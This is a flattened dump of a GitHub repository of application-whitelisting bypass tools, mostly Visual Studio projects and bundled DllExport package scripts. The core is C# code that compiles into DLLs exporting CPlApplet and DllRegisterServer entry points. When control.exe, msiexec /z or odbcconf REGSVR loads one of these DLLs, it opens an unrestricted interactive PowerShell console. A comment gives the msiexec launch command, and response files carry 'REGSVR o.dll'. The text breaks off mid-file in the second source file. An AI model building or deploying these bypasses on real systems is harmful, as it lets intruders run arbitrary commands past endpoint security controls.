├── Bin ├── Net2.0 │ ├── cpl │ │ └── c.dll │ ├── msiexec │ │ └── m.dll │ └── odbconf │ │ ├── file.rsp │ │ └── o.dll └── Net4.0 │ ├── cpl │ ├── System.Management.Automation.dll │ └── c.dll │ ├── msiexec │ ├── System.Management.Automation.dll │ └── m.dll │ └── odbcconf │ ├── System.Management.Automation.dll │ ├── file.rsp │ └── o.dll ├── LICENSE ├── Src ├── Net2.0 │ ├── cpl │ │ ├── Class1.cs │ │ ├── Properties │ │ │ └── AssemblyInfo.cs │ │ ├── cpl.csproj │ │ ├── cpl.sln │ │ ├── packages.config │ │ └── packages │ │ │ └── UnmanagedExports.1.2.7 │ │ │ ├── UnmanagedExports.1.2.7.nupkg │ │ │ ├── lib │ │ │ └── net │ │ │ │ └── RGiesecke.DllExport.Metadata.dll │ │ │ └── tools │ │ │ ├── DllExportCmdLets.psm1 │ │ │ ├── Mono.Cecil.dll │ │ │ ├── RGiesecke.DllExport.MSBuild.dll │ │ │ ├── RGiesecke.DllExport.MSBuild.pdb │ │ │ ├── RGiesecke.DllExport.dll │ │ │ ├── RGiesecke.DllExport.pdb │ │ │ ├── RGiesecke.DllExport.targets │ │ │ ├── init.ps1 │ │ │ ├── install.ps1 │ │ │ └── uninstall.ps1 │ ├── msiexec │ │ ├── Class1.cs │ │ ├── Properties │ │ │ └── AssemblyInfo.cs │ │ ├── msiexec.csproj │ │ ├── msiexec.sln │ │ ├── packages.config │ │ └── packages │ │ │ └── UnmanagedExports.1.2.7 │ │ │ ├── UnmanagedExports.1.2.7.nupkg │ │ │ ├── lib │ │ │ └── net │ │ │ │ └── RGiesecke.DllExport.Metadata.dll │ │ │ └── tools │ │ │ ├── DllExportCmdLets.psm1 │ │ │ ├── Mono.Cecil.dll │ │ │ ├── RGiesecke.DllExport.MSBuild.dll │ │ │ ├── RGiesecke.DllExport.MSBuild.pdb │ │ │ ├── RGiesecke.DllExport.dll │ │ │ ├── RGiesecke.DllExport.pdb │ │ │ ├── RGiesecke.DllExport.targets │ │ │ ├── init.ps1 │ │ │ ├── install.ps1 │ │ │ └── uninstall.ps1 │ └── odbcconf │ │ ├── Class1.cs │ │ ├── Properties │ │ └── AssemblyInfo.cs │ │ ├── odbcconf.csproj │ │ ├── odbcconf.sln │ │ ├── packages.config │ │ └── packages │ │ └── UnmanagedExports.1.2.7 │ │ ├── UnmanagedExports.1.2.7.nupkg │ │ ├── lib │ │ └── net │ │ │ └── RGiesecke.DllExport.Metadata.dll │ │ └── tools │ │ ├── DllExportCmdLets.psm1 │ │ ├── Mono.Cecil.dll │ │ ├── RGiesecke.DllExport.MSBuild.dll │ │ ├── RGiesecke.DllExport.MSBuild.pdb │ │ ├── RGiesecke.DllExport.dll │ │ ├── RGiesecke.DllExport.pdb │ │ ├── RGiesecke.DllExport.targets │ │ ├── init.ps1 │ │ ├── install.ps1 │ │ └── uninstall.ps1 └── Net4.0 │ ├── cpl │ ├── Class1.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── cpl.csproj │ ├── cpl.sln │ ├── packages.config │ └── packages │ │ └── DllExport.1.5.2 │ │ ├── 3rd-party.txt │ │ ├── DllExport.1.5.2.nupkg │ │ ├── License.txt │ │ ├── Readme.md │ │ ├── changelog.txt │ │ ├── lib │ │ └── net20 │ │ │ ├── DllExport.dll │ │ │ ├── DllExport.dll.ddNSi │ │ │ └── DllExport.dll.raw │ │ └── tools │ │ ├── DllExportCmdLets.psm1 │ │ ├── Microsoft.Build.Framework.dll │ │ ├── Microsoft.Build.Utilities.v4.0.dll │ │ ├── Microsoft.Management.Infrastructure.dll │ │ ├── Mono.Cecil.dll │ │ ├── NSBin.dll │ │ ├── NSBin.pdb │ │ ├── RGiesecke.DllExport.MSBuild.dll │ │ ├── RGiesecke.DllExport.MSBuild.pdb │ │ ├── RGiesecke.DllExport.dll │ │ ├── RGiesecke.DllExport.pdb │ │ ├── System.Management.Automation.dll │ │ ├── coreclr │ │ ├── LICENSE.TXT │ │ ├── PATENTS.TXT │ │ ├── README.md │ │ ├── _Version.txt │ │ ├── changelog.txt │ │ ├── coreclr.dll │ │ ├── ilasm.exe │ │ ├── ildasm.exe │ │ ├── ildasmrc.dll │ │ ├── mscordaccore.dll │ │ └── mscordbi.dll │ │ ├── gnt.bat │ │ ├── init.ps1 │ │ ├── install.ps1 │ │ ├── msbuild.bat │ │ ├── net.r_eg.DllExport.Configurator.dll │ │ ├── net.r_eg.DllExport.Configurator.pdb │ │ ├── net.r_eg.DllExport.targets │ │ ├── nsbin.bat │ │ ├── powershell.bat │ │ └── uninstall.ps1 │ ├── msiexec │ ├── Class1.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── msiexec.csproj │ ├── msiexec.sln │ ├── packages.config │ └── packages │ │ └── DllExport.1.5.2 │ │ ├── 3rd-party.txt │ │ ├── DllExport.1.5.2.nupkg │ │ ├── License.txt │ │ ├── Readme.md │ │ ├── changelog.txt │ │ ├── lib │ │ └── net20 │ │ │ ├── DllExport.dll │ │ │ ├── DllExport.dll.ddNSi │ │ │ └── DllExport.dll.raw │ │ └── tools │ │ ├── DllExportCmdLets.psm1 │ │ ├── Microsoft.Build.Framework.dll │ │ ├── Microsoft.Build.Utilities.v4.0.dll │ │ ├── Microsoft.Management.Infrastructure.dll │ │ ├── Mono.Cecil.dll │ │ ├── NSBin.dll │ │ ├── NSBin.pdb │ │ ├── RGiesecke.DllExport.MSBuild.dll │ │ ├── RGiesecke.DllExport.MSBuild.pdb │ │ ├── RGiesecke.DllExport.dll │ │ ├── RGiesecke.DllExport.pdb │ │ ├── System.Management.Automation.dll │ │ ├── coreclr │ │ ├── LICENSE.TXT │ │ ├── PATENTS.TXT │ │ ├── README.md │ │ ├── _Version.txt │ │ ├── changelog.txt │ │ ├── coreclr.dll │ │ ├── ilasm.exe │ │ ├── ildasm.exe │ │ ├── ildasmrc.dll │ │ ├── mscordaccore.dll │ │ └── mscordbi.dll │ │ ├── gnt.bat │ │ ├── init.ps1 │ │ ├── install.ps1 │ │ ├── msbuild.bat │ │ ├── net.r_eg.DllExport.Configurator.dll │ │ ├── net.r_eg.DllExport.Configurator.pdb │ │ ├── net.r_eg.DllExport.targets │ │ ├── nsbin.bat │ │ ├── powershell.bat │ │ └── uninstall.ps1 │ └── odbcconf │ ├── Class1.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── odbcconf.csproj │ ├── odbcconf.sln │ ├── packages.config │ └── packages │ └── DllExport.1.5.2 │ ├── 3rd-party.txt │ ├── DllExport.1.5.2.nupkg │ ├── License.txt │ ├── Readme.md │ ├── changelog.txt │ ├── lib │ └── net20 │ │ ├── DllExport.dll │ │ ├── DllExport.dll.ddNSi │ │ └── DllExport.dll.raw │ └── tools │ ├── DllExportCmdLets.psm1 │ ├── Microsoft.Build.Framework.dll │ ├── Microsoft.Build.Utilities.v4.0.dll │ ├── Microsoft.Management.Infrastructure.dll │ ├── Mono.Cecil.dll │ ├── NSBin.dll │ ├── NSBin.pdb │ ├── RGiesecke.DllExport.MSBuild.dll │ ├── RGiesecke.DllExport.MSBuild.pdb │ ├── RGiesecke.DllExport.dll │ ├── RGiesecke.DllExport.pdb │ ├── System.Management.Automation.dll │ ├── coreclr │ ├── LICENSE.TXT │ ├── PATENTS.TXT │ ├── README.md │ ├── _Version.txt │ ├── changelog.txt │ ├── coreclr.dll │ ├── ilasm.exe │ ├── ildasm.exe │ ├── ildasmrc.dll │ ├── mscordaccore.dll │ └── mscordbi.dll │ ├── gnt.bat │ ├── init.ps1 │ ├── install.ps1 │ ├── msbuild.bat │ ├── net.r_eg.DllExport.Configurator.dll │ ├── net.r_eg.DllExport.Configurator.pdb │ ├── net.r_eg.DllExport.targets │ ├── nsbin.bat │ ├── powershell.bat │ └── uninstall.ps1 ├── readme.md └── readme.pdf /Bin/Net2.0/cpl/c.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Bin/Net2.0/cpl/c.dll -------------------------------------------------------------------------------- /Bin/Net2.0/msiexec/m.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Bin/Net2.0/msiexec/m.dll -------------------------------------------------------------------------------- /Bin/Net2.0/odbconf/file.rsp: -------------------------------------------------------------------------------- 1 | REGSVR o.dll -------------------------------------------------------------------------------- /Bin/Net2.0/odbconf/o.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Bin/Net2.0/odbconf/o.dll -------------------------------------------------------------------------------- /Bin/Net4.0/cpl/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Bin/Net4.0/cpl/System.Management.Automation.dll -------------------------------------------------------------------------------- /Bin/Net4.0/cpl/c.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Bin/Net4.0/cpl/c.dll -------------------------------------------------------------------------------- /Bin/Net4.0/msiexec/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Bin/Net4.0/msiexec/System.Management.Automation.dll -------------------------------------------------------------------------------- /Bin/Net4.0/msiexec/m.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Bin/Net4.0/msiexec/m.dll -------------------------------------------------------------------------------- /Bin/Net4.0/odbcconf/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Bin/Net4.0/odbcconf/System.Management.Automation.dll -------------------------------------------------------------------------------- /Bin/Net4.0/odbcconf/file.rsp: -------------------------------------------------------------------------------- 1 | REGSVR o.dll -------------------------------------------------------------------------------- /Bin/Net4.0/odbcconf/o.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Bin/Net4.0/odbcconf/o.dll -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Mark Woan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Src/Net2.0/cpl/Class1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Collections.ObjectModel; 4 | using System.Management.Automation; 5 | using System.Management.Automation.Runspaces; 6 | using System.Text; 7 | using RGiesecke.DllExport; 8 | 9 | public class Test 10 | { 11 | 12 | [DllExport("CPlApplet", CallingConvention = CallingConvention.StdCall)] 13 | public static bool CPlApplet() 14 | { 15 | while (true) 16 | { 17 | AllocConsole(); 18 | IntPtr defaultStdout = new IntPtr(7); 19 | IntPtr currentStdout = GetStdHandle(StdOutputHandle); 20 | Console.Write("PS >"); 21 | string x = Console.ReadLine(); 22 | try 23 | { 24 | Console.WriteLine(RunPSCommand(x)); 25 | } 26 | catch (Exception e) 27 | { 28 | Console.WriteLine(e.Message); 29 | } 30 | } 31 | return true; 32 | } 33 | //Based on Jared Atkinson's And Justin Warner's Work 34 | public static string RunPSCommand(string cmd) 35 | { 36 | //Init stuff 37 | Runspace runspace = RunspaceFactory.CreateRunspace(); 38 | runspace.Open(); 39 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 40 | Pipeline pipeline = runspace.CreatePipeline(); 41 | 42 | //Add commands 43 | pipeline.Commands.AddScript(cmd); 44 | 45 | //Prep PS for string output and invoke 46 | pipeline.Commands.Add("Out-String"); 47 | Collection results = pipeline.Invoke(); 48 | runspace.Close(); 49 | 50 | //Convert records to strings 51 | StringBuilder stringBuilder = new StringBuilder(); 52 | foreach (PSObject obj in results) 53 | { 54 | stringBuilder.Append(obj); 55 | } 56 | return stringBuilder.ToString().Trim(); 57 | } 58 | 59 | public static void RunPSFile(string script) 60 | { 61 | PowerShell ps = PowerShell.Create(); 62 | ps.AddScript(script).Invoke(); 63 | } 64 | 65 | private const UInt32 StdOutputHandle = 0xFFFFFFF5; 66 | [DllImport("kernel32.dll")] 67 | private static extern IntPtr GetStdHandle(UInt32 nStdHandle); 68 | [DllImport("kernel32.dll")] 69 | private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle); 70 | [DllImport("kernel32")] 71 | static extern bool AllocConsole(); 72 | 73 | } -------------------------------------------------------------------------------- /Src/Net2.0/cpl/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("cpl-bypass")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("cpl-bypass")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e70f119c-6cb3-45f6-ba19-793c671b677a")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Src/Net2.0/cpl/cpl.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E70F119C-6CB3-45F6-BA19-793C671B677A} 8 | Library 9 | Properties 10 | c 11 | c 12 | v2.0 13 | 512 14 | 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | x64 25 | false 26 | 27 | 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | false 35 | 36 | 37 | 38 | ..\packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll 39 | True 40 | 41 | 42 | 43 | False 44 | ..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 66 | -------------------------------------------------------------------------------- /Src/Net2.0/cpl/cpl.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "cpl", "cpl.csproj", "{E70F119C-6CB3-45F6-BA19-793C671B677A}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {E70F119C-6CB3-45F6-BA19-793C671B677A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {E70F119C-6CB3-45F6-BA19-793C671B677A}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {E70F119C-6CB3-45F6-BA19-793C671B677A}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {E70F119C-6CB3-45F6-BA19-793C671B677A}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/DllExportCmdLets.psm1: -------------------------------------------------------------------------------- 1 | function Remove-OldDllExportFolder { 2 | param($project) 3 | $defaultFiles = ('DllExportAttribute.cs', 4 | 'Mono.Cecil.dll', 5 | 'RGiesecke.DllExport.dll', 6 | 'RGiesecke.DllExport.pdb', 7 | 'RGiesecke.DllExport.MSBuild.dll', 8 | 'RGiesecke.DllExport.MSBuild.pdb', 9 | 'RGiesecke.DllExport.targets') 10 | 11 | $projectFile = New-Object 'System.IO.FileInfo'($project.FullName) 12 | 13 | $projectFile.Directory.GetDirectories("DllExport") | Select-Object -First 1 | % { 14 | $dllExportDir = $_ 15 | 16 | if($dllExportDir.GetDirectories().Count -eq 0){ 17 | $unknownFiles = $dllExportDir.GetFiles() | Select -ExpandProperty Name | ? { -not $defaultFiles -contains $_ } 18 | 19 | if(-not $unknownFiles){ 20 | Write-Host "Removing 'DllExport' from " $project.Name 21 | $project.ProjectItems | ? { $_.Name -ieq 'DllExport' } | % { 22 | $_.Remove() 23 | } 24 | 25 | Write-Host "Deleting " $dllExportDir.FullName " ..." 26 | $dllExportDir.Delete($true) 27 | } 28 | } 29 | } 30 | } 31 | 32 | function Remove-OldDllExportFolders { 33 | Get-Project -all | % { 34 | Remove-OldDllExportFolder $_ 35 | } 36 | } 37 | 38 | function Get-DllExportMsBuildProjectsByFullName([String] $fullName) { 39 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 40 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 41 | 42 | if(!$msBuildV4) { 43 | throw New-Object 'System.IO.FileNotFoundException'("Could not load $msBuildV4Name.") 44 | } 45 | 46 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 47 | 48 | return $projectCollection::GlobalProjectCollection.GetLoadedProjects($fullName) 49 | } 50 | 51 | function Get-AllDllExportMsBuildProjects { 52 | (Get-Project -all | % { 53 | Get-DllExportMsBuildProjectsByFullName $_.FullName 54 | }) | ? { 55 | return ($_.Xml.Imports | ? { 56 | "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project); 57 | }).Length -gt 0; 58 | } 59 | } 60 | 61 | function Assert-PlatformTargetOfProject([String] $fullName) { 62 | $proj = Get-DllExportMsBuildProjectsByFullName $fullName 63 | 64 | if(!$proj) { 65 | return; 66 | } 67 | 68 | $platformTarget = $proj.GetPropertyValue('PlatformTarget'); 69 | 70 | if(!$platformTarget -or ($platformTarget -ine 'x86' -and $platformTarget -ine 'x64')) { 71 | $projectName = [IO.Path]::GetFileNameWithoutExtension($fullName); 72 | if(!$platformTarget) { 73 | $platformTarget = "has no platform target"; 74 | } else { 75 | $platformTarget = "has a platform target of '$platformTarget'"; 76 | } 77 | Write-Warning "The project '$projectName' $platformTarget. Only x86 or x64 assemblies can export functions." 78 | Write-Host "" 79 | } 80 | } 81 | 82 | function Set-NoDllExportsForAnyCpu([String] $projectName, [System.Nullable[bool]] $value) { 83 | $projects = Get-AllDllExportMsBuildProjects; 84 | 85 | [String] $asString = $value; 86 | 87 | if($projectName) { 88 | $projects = $projects | where { $_.Name -ieq $projectName }; 89 | } 90 | $propertyName = 'NoDllExportsForAnyCpu'; 91 | 92 | $projects = $projects | where { 93 | $_.GetPropertyValue($propertyName) -ine $asString 94 | } | % { 95 | $_.SetProperty($propertyName, $asString); 96 | } 97 | } 98 | 99 | Export-ModuleMember Set-NoDllExportsForAnyCpu 100 | 101 | Export-ModuleMember Remove-OldDllExportFolder 102 | Export-ModuleMember Remove-OldDllExportFolders 103 | Export-ModuleMember Get-DllExportMsBuildProjectsByFullName 104 | Export-ModuleMember Get-AllDllExportMsBuildProjects 105 | Export-ModuleMember Assert-PlatformTargetOfProject -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | $(PostBuildEventDependsOn); 7 | RGieseckeDllExport 8 | 9 | 10 | 11 | 12 | 13 | $(BuildDependsOn); 14 | RGieseckeDllExport 15 | 16 | 17 | 18 | 20 | 21 | 23 | 24 | 34 | 35 | 36 | 37 | RGiesecke.DllExport.DllExportAttribute 38 | RGiesecke.DllExport.Metadata 39 | 40 | $(Platform) 41 | $(PlatformTarget) 42 | $(CpuType) 43 | $(DebugSymbols) 44 | false 45 | $(DllExportTimeout) 46 | $(KeyContainerName)$(AssemblyKeyContainerName) 47 | $(KeyOriginatorFile) 48 | $(MSBuildProjectDirectory) 49 | $(TargetPath) 50 | $(TargetedFrameworkDir);$(TargetFrameworkDirectory) 51 | $(DevEnvDir)\..\..\VC\bin 52 | $(DevEnvDir) 53 | $(TargetFrameworkVersion) 54 | $(TargetFrameworkSDKToolsDirectory) 55 | $(NoDllExportsForAnyCpu) 56 | 57 | 58 | 74 | 75 | -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/init.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1) 4 | 5 | if($project) { 6 | Assert-PlatformTargetOfProject $project.FullName 7 | } 8 | else { 9 | Get-AllDllExportMsBuildProjects | % { 10 | Assert-PlatformTargetOfProject $_.FullPath 11 | } 12 | } -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'RGiesecke.DllExport.targets' 4 | $targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName) 5 | $targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute 6 | 7 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 8 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 9 | 10 | if(!$msBuildV4) { 11 | throw New-Object System.IO.FileNotFoundException("Could not load $msBuildV4Name."); 12 | } 13 | 14 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 15 | 16 | # change the reference to RGiesecke.DllExport.Metadata.dll to not be copied locally 17 | 18 | $project.Object.References | ? { 19 | $_.Name -ieq "RGiesecke.DllExport.Metadata" 20 | } | % { 21 | if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){ 22 | $_.CopyLocal = $false 23 | } 24 | } 25 | 26 | $projects = $projectCollection::GlobalProjectCollection.GetLoadedProjects($project.FullName) 27 | $projects | % { 28 | $currentProject = $_ 29 | 30 | # remove imports of RGiesecke.DllExport.targets from this project 31 | $currentProject.Xml.Imports | ? { 32 | return ("RGiesecke.DllExport.targets" -ieq [IO.Path]::GetFileName($_.Project)) 33 | } | % { 34 | $currentProject.Xml.RemoveChild($_); 35 | } 36 | 37 | # remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName 38 | $currentProject.Xml.Properties | ? { 39 | $_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName" 40 | } | % { 41 | $_.Parent.RemoveChild($_) 42 | } 43 | 44 | $projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute 45 | $relativeUrl = $projectUri.MakeRelative($targetUri) 46 | $import = $currentProject.Xml.AddImport($relativeUrl) 47 | $import.Condition = "Exists('$relativeUrl')"; 48 | 49 | # remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it) 50 | Remove-OldDllExportFolder $project 51 | Assert-PlatformTargetOfProject $project.FullName 52 | } -------------------------------------------------------------------------------- /Src/Net2.0/cpl/packages/UnmanagedExports.1.2.7/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'RGiesecke.DllExport.targets' 4 | $targetFileName = [System.IO.Path]::Combine($toolsPath, $targetFileName) 5 | $targetUri = New-Object Uri($targetFileName, [UriKind]::Absolute) 6 | 7 | $projects = Get-DllExportMsBuildProjectsByFullName($project.FullName) 8 | 9 | return $projects | % { 10 | $currentProject = $_ 11 | 12 | $currentProject.Xml.Imports | ? { 13 | "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project) 14 | } | % { 15 | $currentProject.Xml.RemoveChild($_) 16 | } 17 | } -------------------------------------------------------------------------------- /Src/Net2.0/msiexec/Class1.cs: -------------------------------------------------------------------------------- 1 | //https://gist.githubusercontent.com/NickTyrer/9f8cbd5142c4cea63e98da8aac39c874/raw/940ebc69ddb66768001dbe9655ee8960baabb660/msiexec.cs 2 | // msiexec /z "full path to msiexec.dll" 3 | 4 | using System; 5 | using System.Runtime.InteropServices; 6 | using RGiesecke.DllExport; 7 | using System.Collections.ObjectModel; 8 | using System.Management.Automation; 9 | using System.Management.Automation.Runspaces; 10 | using System.Text; 11 | 12 | class Exports 13 | { 14 | [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)] 15 | //Based on Casey Smiths's Work 16 | public static bool DllRegisterServer() 17 | { 18 | while (true) 19 | { 20 | AllocConsole(); 21 | IntPtr 